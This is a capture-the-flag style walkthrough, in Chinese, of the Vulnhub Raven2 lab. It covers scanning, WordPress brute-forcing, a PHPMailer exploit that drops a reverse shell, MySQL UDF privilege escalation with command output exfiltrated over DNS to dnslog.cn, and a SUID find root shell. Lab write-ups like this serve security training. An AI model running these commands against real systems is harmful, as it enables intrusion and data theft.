【Vulnhub系列】Vulnhub_Raven2靶场渗透(原创)

【Vulnhub系列靶场】Vulnhub_Raven2 渗透

原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

一、环境准备

从网盘下载该靶机,在vm中选择【打开】

image-20240206132421898

然后设置好存储路径,开机后检查靶机的网络连接模式是否为【NET】模式。

二、信息收集

1、主机发现

nmap.exe -sn 192.168.31.*

image-20240205150548983

2、端口扫描

1、先进行粗略的扫描

nmap.exe -F 192.168.31.60

image-20240205150656838

2、再进行精细化扫描

nmap.exe -sT --min-rate 10000 -p- 192.168.31.60
nmap.exe -sU --min-rate 10000 -p- 192.168.31.60

image-20240205154034080

image-20240205151907050

3、进行全扫描和漏洞探测

nmap.exe -sT -sV -sC -O -p 22,80,111,54798,58157 192.168.31.60 -oA AllPortnmap.exe --script=vuln -p 22,80,111,54798,58157 192.168.31.60 -oA VulnPort

image-20240205154417067

确认是Linux操作系统,并且开放了111的rpcbind服务,有关这个服务可以上网搜索,也有很多该服务相关漏洞,后期是一个可利用的点。

image-20240205154452871

发现使用了wordpress框架,进行了目录的扫描,还发现有一个csrf 的漏洞,不过这个漏洞在个人渗透过程中起到的作用微乎甚微。

3、web目录探测

dirsearch.cmd -u http://192.168.31.60 -x 404,403	#过滤404、403

image-20240205151054134

看到有wordpress,疑似wordpress搭建的博客网站。

4、web框架探测

whatweb http://192.168.31.60	#在kali中用whatweb进行识别

image-20240205151433137

并未探测到wordpress框架,那我们去探测wordpress这个路径

image-20240205151835831

可以看到确定使用了wordpress框架。

三、获得shell立足点

1、敏感信息查看

1、.DS_Store文件:是macOS 操作系统的文件类型。它是由 Finder(Mac 上的文件管理器)创建的隐藏文件,用于存储有关特定文件夹的视图选项和元数据。

可以用GitHub的工具对其进行解析:https://github.com/gehaxelt/Python-dsstore

python main.py .DS_Store

image-20240205155926915

并没有发现有用的信息

2、Vendor路径信息收集

vendor/PATH:发现了一个flag1

image-20240205160305176

在/vendor/readme.md中发现PHPMailer,百度百科解释:是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。

image-20240205171505826

/vendor/VERSION发现版本为5.2.16

image-20240205171505826

有关这个版本的漏洞也有很多

image-20240205171639908

3、wordress框架信息收集

继续将目标转移至 wordpress目录框架,对该目录再进行一次目录扫描

image-20240205160829021

我们访问wp-admin的时候发生了错误:

image-20240205162944210

一而再三的确认是wordpress 框架,这里不应该报错,可能是hosts解析。

我们打开系统组件中的hosts 文件

image-20240205163105055

添加如下本地hosts 文件的IP解析

image-20240205162546551

重新打开即可。

image-20240205163213369

wp-content/uploads路径下发现了flag3

image-20240205165525290

4、wordpress框架利用工具-wpscan

wpscan是专门针对wordpress利用的工具:

1、用户名扫描

wpscan --url http://192.168.31.60/wordpress/ --enumerate u

image-20240205171928756

有steven michael两个用户,将其保存在user.txt文件中

2、进行密码爆破

我们可以用密码生成工具cewl 针对wordpress生成专门的密码

cewl http://192.168.31.60/wordpress/ -w pass.txt

image-20240205172053643

之后在进行爆破

wpscan --url "http://192.168.31.60/wordpress/" -P "pass.txt" --usernames user.txt

image-20240205172154945

image-20240205172249849

为了增加爆破的概率,我在用户名中增加了admin、root两个用户,但是依然爆破失败。我们可以用自己的字典多次尝试。以及利用wpscan针对wordpress 的主题和插件漏洞进行扫描利用。

5、getshell

wordpress利用较为困难,我们将目光再转向PHPMailer。

我们优先使用如下几个远程代码执行脚本

image-20240205172633118

将四个脚本复制到本路径下

cp php/webapps/40968.sh /c/Users/Administrator/Desktop/test/script/

image-20240205172851755

在40974.py中,我们修改脚本内容如下,同时在本地起一个4444的监听

image-20240205190108255

然后执行该脚本,访问contact.php文件,会生成shell.php 文件,内容则是反弹shell,再访问shell.php,则拿到shell

image-20240205190259052

四、提权至root

1、翻找敏感文件

1、数据库的账号密码

我们知道在wordpress 框架下可以找到数据库的账号密码,在wp-config.php 文件中

image-20240206133212310

拿到MYSQL 数据库的账号密码:root:R@v3nSecurity

还是一个高权限的账号密码,可能存在数据库提权。

2、/etc/passwd文件

找到两个普通用户michael、steven

这两个用户名跟用wpscan工具扫描出来的wordpress用户名一样。

3、/home 目录

普通用户目录下也一无所获

image-20240206133656277

4、用find 命令查找高权限文件

find / -perm -u=s -type f 2>/dev/null

image-20240206134503358

并没有找到能提权的文件

2、数据库UDF提权

我们此时有数据库的高权限用户,可以尝试数据库提权

1、我们先进入交互式shell,然后再进行数据库连接

shell=/bin/bash script -q /dev/null

image-20240206135019626

2、查询是否满足UDF提权条件

select user();
select version();
show global variables like 'secure%';
show variables like 'plugin%';

image-20240206135517495

满足所有条件

3、查找udf提权的脚本并复制到本目录

searchsploit.cmd udf
cp exploits/linux/local/1518.c /c/Users/Administrator/Desktop/test

image-20240206141513845

image-202402061414457614、在本地进行编译

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o 111.so 1518.o -lc

image-20240206141905939

5、上传至靶机/tmp目录

python3 -m http.server
#在靶机
cd /tmp
wget http://192.168.31.50:8000/111.so

6、之后按照udf提权姿势操作

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/111.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/111.so';
create function do_system returns integer soname '111.so';
select * from mysql.func;

7、利用dnslog平台进行测试

select do_system("whoami")

如果不进行dnslog回显,结果将是如下:

image-20240206151817786

我们利用dnslog 平台进行回显:

select do_system("ping -c 1 `whoami`.hhk1dh.dnslog.cn");

image-20240206152819346image-20240206152833163

image-20240206152843521

3、获取root权限

这个时候我们可以以root权限执行任何命令,我们给find 命令SUID权限,然后通过find进行提权

1、确认find 的位置

select do_system("ping -c 1 `which find`.hhk1dh.dnslog.cn");

image-20240206153227992

2、给find SUID权限

select do_system("chmod u+s /usr/bin/find");

3、find 命令进行提权

find . -exec "/bin/sh" \;

image-20240206154445556

原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/386686.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

谷粒商城实战笔记-84-商品服务-API-新增商品-获取分类关联的品牌

文章目录 一,品牌查询接口的后台实现二,编码经验总结1,Controller层的作用1.1 参数处理1.2 调用Service1.3 处理Service返回结果实例 2,VO的封装时机3,Service中最好注入Service,不要直接依赖Dao 问题记录 …

vue2 vue3 props 的处理机制

在 Vue 2 中,props 是单向数据流,父组件向子组件传递的 props 默认情况下是不具有响应式特性的。这意味着当父组件的数据发生变化时,如果传递给子组件的 props 发生变化,子组件不会自动更新视图。 具体来说,在 Vue 2 …

增量学习中Task incremental、Domain incremental、Class incremental 三种学习模式的概念及代表性数据集?

1 概念 在持续学习领域,Task incremental、Domain incremental、Class incremental 是三种主要的学习模式,它们分别关注不同类型的任务序列和数据分布变化。 1.1 Task Incremental Learning (Task-incremental) 任务增量学习,也称为任务增…

【论文共读】【翻译】【GAN】Generative Adversarial Nets

论文原文地址:https://arxiv.org/pdf/1406.2661 翻译:Generative Adversarial Nets 生成对抗网络 0. 摘要 提出了一种新的对抗过程估计生成模型的框架,其中我们同时训练两个模型:一个是捕获数据分布的生成模型G,另一…

燃气安全无小事,一双专业劳保鞋让你步步安心!

燃气作为我们日常生活中不可或缺的能源之一,为我们的生活提供了极大便利,其安全性往往被忽视在忙碌的日常生活背后。然而,燃气事故一旦发生,后果往往不堪设想,轻则财产损失,重则危及生命。因此,…

dockerfile部署镜像 ->push仓库 ->虚拟机安装建木 ->自动部署化 (详细步骤)

目录 创建私服仓库 vi /etc/docker/daemon.json vim deploy.sh判断脚本内容 创建 建木 后端部署 命名空间 设置密码用户名 创建git仓库 gitignore文件内容 图形项目操作 git maven docker镜像 点击流程日志 vim /etc/docker/daemon.json 执行部署脚本 ip 开发…

Linux网络——深入理解传入层协议TCP

目录 一、前导知识 1.1 TCP协议段格式 1.2 TCP全双工本质 二、三次握手 2.1 标记位 2.2 三次握手 2.3 捎带应答 2.4 标记位 RST 三、四次挥手 3.1 标记位 FIN 四、确认应答(ACK)机制 五、超时重传机制 六 TCP 流量控制 6.1 16位窗口大小 6.2 标记位 PSH 6.3 标记…

Jackson常用注解详解

Hi 👋, Im shy 有人见尘埃,有人见星辰 Jackson常用注解详解 文章目录 Jackson常用注解详解0. 引入依赖1. JsonProperty2. JsonIgnore3. JsonFormat4. JsonInclude5. JsonCreator6. JsonValue7. JsonIgnoreProperties结论 Jackson是Java生态系统中广泛…

Redis学习[1] ——基本概念和数据类型

Redis学习[1] ——基本概念和数据类型 一、Redis基础概念 1.1 Redis是什么,有什么特点? Redis是一个基于**内存的数据库,因此读写速度非常快**,常用作缓存、消息队列、分布式锁和键值存储数据库。支持多种数据结构:…

大数据与人工智能:数据隐私与安全的挑战_ai 和 数据隐私

前言 1.背景介绍 随着人工智能(AI)和大数据技术的不断发展,我们的生活、工作和社会都在不断变化。这些技术为我们提供了许多好处,但同时也带来了一系列挑战,其中数据隐私和安全是最为关键的之一。数据隐私和安全问题的出现,主要…

分布式锁的三种实现方式:Redis、基于数据库和Zookeeper

分布式锁的实现 操作共享资源:例如操作数据库中的唯一用户数据、订单系统、优惠券系统、积分系统等,这些系统需要修改用户数据,而多个系统可能同时修改同一份数据,这时就需要使用分布式锁来控制访问,防止数据不一致。…

angular入门基础教程(九)依赖注入(DI)

依赖注入 Angular 中的依赖注入(DI)是框架最强大的特性之一。可以将依赖注入视为 Angular 在运行时为你的应用 提供所需资源的能力。依赖项可以是服务或其他资源。 使用服务的一种方式是作为与数据和 API 交互的方式。为了使服务可重用,应该…

实战:ZooKeeper 操作命令和集群部署

ZooKeeper 操作命令 ZooKeeper的操作命令主要用于对ZooKeeper服务中的节点进行创建、查看、修改和删除等操作。以下是一些常用的ZooKeeper操作命令及其说明: 一、启动与连接 启动ZooKeeper服务器: ./zkServer.sh start这个命令用于启动ZooKeeper服务器…

SSM学习9:SpringBoot简介、创建项目、配置文件、多环节配置

简介 SpringBoot式用来简化Spring应用的初始搭建以及开发过程的一个框架 项目搭建 File -> New -> Project 选中pom.xml文件,设置为maven项目 项目启动成功 可以访问BasicController中的路径 配置文件 在resources目录下 application.properties 默…

Linux——管理本地用户和组(详细介绍了Linux中用户和组的概念及用法)

目录 一、用户和组概念 (一)、用户的概念 (二)、组的概念 补充组 主要组 二、获取超级用户访问权限 (一)、su 命令和su -命令 ( 二)、sudo命令 三、管理本地用户账户 &…

WPF---Prism视图传参

Prism视图传参方式。 实际应用场景 点击tabitem中的列表数据,同步更新到ListStatic Region对应的界面。目前用两种方式实现了传参数据同步。 第一,事件聚合器(EventAggregator) 1. 定义事件 创建一个事件类,用于传…

微信小程序配置访问服务器失败所发现的问题及解决方案

目录 事前现象问题1:问题现象:问题分析: 问题2:问题现象:问题分析:解决方案: 事后现象 事前现象 问题1: 问题现象: 在本地调试时,一切顺利,但一…

JAVA开源的html转pdf、png转pdf项目

总览 Open HTML to PDF是一个纯Java库,用于使用CSS 2.1(以及更高版本的标准)对合理子集的格式良好的XML/XHTML(甚至一些HTML5)进行布局和格式化,输出为PDF或图像。 使用该库生成漂亮的PDF文档。但请注意,您不能将现代HTML5+直接应用于该引擎并期望获得出色的结果。您必…

妈吖,看过这个大厂的oracle主键自增,我的信心暴增!信创,国产数据库也能行。

创作不易 只因热爱!! 热衷分享,一起成长! “你的鼓励就是我努力付出的动力” 1.数据库oracle自增主键字段思维导图 在Oracle数据库中,可以通过创建序列(SEQUENCE)来实现自增功能。但也可以不在数据库中实现,而是通过程…

Docker中使用自定义网络方式实现Redis集群部署与测试流程

场景 Docker中Docker网络-理解Docker0与自定义网络的使用示例: Docker中Docker网络-理解Docker0与自定义网络的使用示例-CSDN博客 参考上面的流程实现自定义网络的实现。 下面记录其应用实例,使用Docker的自定义网络实现redis集群部署。 注&#xf…